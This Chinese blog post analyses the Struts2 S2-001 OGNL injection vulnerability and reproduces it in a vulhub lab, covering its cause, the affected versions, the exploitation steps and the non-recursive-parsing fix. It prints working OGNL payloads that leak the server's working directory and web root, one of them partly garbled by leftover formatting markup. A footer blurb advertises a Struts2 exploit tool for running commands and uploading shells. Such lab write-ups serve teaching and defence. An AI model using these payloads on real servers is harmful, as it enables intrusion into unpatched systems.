s2 安恒 漏洞验证工具_【Struts2命令代码执行漏洞分析系列】 S2001

本文详细介绍了Struts2的S2-001命令代码执行漏洞,包括漏洞成因、影响范围、环境搭建、利用原理和过程。通过示例展示了如何在WebWork 2.1到Struts 2.0.8版本中,由于OGNL表达式的递归解析导致的安全问题。此外,还提到了漏洞的解决办法和防止递归执行的修改。文章末尾推荐了几款Struts2漏洞扫描和检测工具。
摘要由CSDN通过智能技术生成

b6d5a8b11c864cb1339e2783292f6f78.gif

漏洞信息:

漏洞信息页面: 

https://cwiki.apache.org/confluence/display/WW/S2-001

漏洞成因官方概述:

Remote code exploit on form validation error

漏洞影响:
WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

6964ad00d6393c3f9b7f4e2dc1c88e1d.png

环境搭建:
用vulhub靶场进行搭建,非常方便

dad153efa6329951c74bc83f00e5e037.png 

我已经搭建完成,这个图片是已经搭建完成的,使用 docker ps 命令 查看已经搭建好的靶场容器。

原理:

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value}


进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value}


对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行 

利用过程:
进入靶场

5ff4eda8383b2119ef59f5eddb1e302a.png 
这个漏洞的问题在于可以直接输入和直接回显
将POC粘到一个输入框,点击Submit
此后会将数据提交到后端,后端检测值是否为空,然后返回,满足漏洞前提
获取tomcat执行路径:

class="token operator">%class="token punctuation">{class="token string">"tomcatBinDir{"class="token operator"> class="token annotation punctuation">@javaclass="token punctuation">.langclass="token punctuation">.Systemclass="token annotation punctuation">@getPropertyclass="token punctuation">(class="token string">"user.dir"class="token punctuation">)class="token operator"> class="token string">"}"class="token punctuation">}

8c36fed0e56cce9c5fd2e904b440ae1a.png 

获取Web路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

fa9f9c657c09f64c3bf0d2dbb5458fa4.png 总结:

最后总结一下 S2-001 的一个触发条件:开启 altSyntax 功能;使用 s 标签处理表单;action 返回错误;OGNL 递归处理


值得一提的是 Struts2 官方给出了一个解决办法中提到了:从XWork 2.0.4开始,OGNL解析被更改,因此它不是递归的。因此,在上面的示例中,结果将是预期的%{1 1}。


也就是只会获取到 username 的内容,而不会再把 username 里的内容再执行一遍。

960e472c2847befd3d998f9668f54fa6.png

推荐文章++++

009e89a3766364ae011ea6c2ef70f6c9.png

*Struts2-Scan 一款全漏洞扫描利用工具

*Python编写的开源Struts2全版本漏洞检测工具

*Struts2 再爆高危漏洞S2-048 来了

981f79812a1df641bb09f79d82f68efd.png

6e9f040475c404e3142e4933e0cbb554.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
struts2漏洞exp利用工具, 2018-08-24: 增加S2-057 Struts 2.3 to 2.3.34,Struts 2.5 to 2.5.16 此漏洞影响范围非常小,要求配置条件比较苛刻,同时,一些特定本没有看到有沙盒绕过,说以,目前exp只是基于S2-045改写的,所以exp并不是所有本都能用,正常情况下Struts 2.3.5-2.3.31,Struts 2.5-2.5.10本可以使用此exp。 2017-07-07: 增加S2-048 Struts 2.3.X 支持检查官方示例struts2-showcase应用的代码执行漏洞,参考地址:http://127.0.0.1:8080/struts2-showcase/integration/saveGangster.action 2017-03-21: 增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过部分WAF防护,存在S2-045就存在S2-046。http://struts.apache.org/docs/s2-046.html 2017-03-07: 增加安恒信息研究员nike.zheng发现的S2-045,jakatar处理复杂数据类型时,异常处理不当,导致OGNL代码执行,通过在请求的Content-Type头中构造OGNL表达式来执行Java代码。http://struts.apache.org/docs/s2-045.html 2016-04-26: 增加最新的S2-032远程代码执行漏洞,和S2-019很相似。 参考:http://seclab.dbappsecurity.com.cn/?p=924 2015-12-01: 采用scanner读数据流,再也不用担心s16不能执行net user/ipconfig/netstat -an等命令了。 增加复杂数据包(multipart/form-data)提交方式进行漏洞利用,可绕过部分防护。可执行命令,暂时无法上传文件。 2014-11-12: 最近遇到s19这个debug模式开启导致代码执行,这个有点少,但还是有一些,为了方便大家把13本修改了一下。可以利用这个漏洞执行命令、上传shell。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值